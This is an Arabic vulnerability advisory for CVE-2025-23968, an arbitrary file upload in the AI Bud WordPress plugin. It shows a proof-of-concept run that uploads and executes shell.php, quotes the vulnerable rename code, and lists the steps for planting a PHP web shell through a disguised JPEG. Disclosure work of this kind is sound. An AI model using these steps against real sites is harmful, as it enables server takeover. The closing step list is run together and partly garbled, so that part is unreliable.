
رفع ملف عشوائي في AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4
يُعرّض إضافة AI Bud نقطة نهاية REST API /wp-json/ai-buddy/v1/wp/attachments تتيح رفع الملفات إلى مكتبة وسائط WordPress. تحتوي منطق الملف في نقطة النهاية على وظيفة إعادة تسمية الملفات التي تُفعَّل بعد التحقق من نوع الملف، وتسمح للمهاجم بإعادة تسمية الملف المرفوع إلى أي امتداد (بما في ذلك .php)، مما يتيح للمسؤولين أو من هم أعلى رتبة رفع ملفات عشوائية وربما الحصول على تنفيذ كود على الخادم.
تم توفير إثبات مفهوم cve-2025-23968.py لتوضيح قيام مسؤول برفع قشرة ويب باسم shell.php.
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr
<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
inet 127. 0. 0. 1 / 8 scope host lo
valid_lft forever preferred_lft forever
inet 6 :: 1 / 128 scope host
valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
valid_lft 75700 sec preferred_lft 75700 sec
inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86174 sec preferred_lft 14174 sec
inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
valid_lft forever preferred_lft forever
inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
valid_lft forever preferred_lft forever
</pre>
يسجل الإضافة مسارات REST API الخاصة بها في /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php
الأسطر 250-284 تسجل مسار REST لنقطة النهاية /wp/attachments. يتم تعريف دالة الاستدعاء على أنها create_attachment:
register_rest_route(
$namespace,
'/wp/attachments',
array(
'methods' => 'POST',
'permission_callback' => array( AuthGate::class, 'authorized'
),
'callback' => array( $this, 'create_attachment' ),
'args' => array(
'title' => array(
'required' => true,
'type' => 'string',
),
'caption' => array(
'required' => true,
'type' => 'string',
),
'alt' => array(
'required' => true,
'type' => 'string',
),
'description' => array(
'required' => true,
'type' => 'string',
),
'url' => array(
'required' => true,
'type' => 'string',
),
'filename' => array(
'required' => false,
'type' => 'string',
),
),
تم تعريف دالة create_attachment في السطر 709، ويبدأ منطق إعادة التسمية في السطر 744. كما يظهر في المقتطف أدناه، إذا تم تحديد معلمة $filename يمكن استخدامها لإعادة تسمية مرفق موجود (بدون تنقية):
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
$file = get_attached_file( $attachment_id, true );
$dir = dirname( $file );
$new_file = $dir. '/'. $filename;
if ( file_exists( $new_file ) ) {
$new_file = $dir. '/'. uniqid(). '-'. $filename;
}
$this->move_file( $file, $new_file );
update_attached_file( $attachment_id, $new_file );
}
هجوم إعادة التسمية .php
shell.jpg بالخصائص التالية (انظر المثال).
FF D8 FF E0..jpg.shell.jpg على خادم يتحكم فيه (مثل Github)./wp-json/ai-buddy/v1/wp/attachments مع:
url: رابط shell.jpgfilename: shell.php/wp-content/uploads/YEAR/MONTH/shell.php وينفذ كود PHP عشوائي.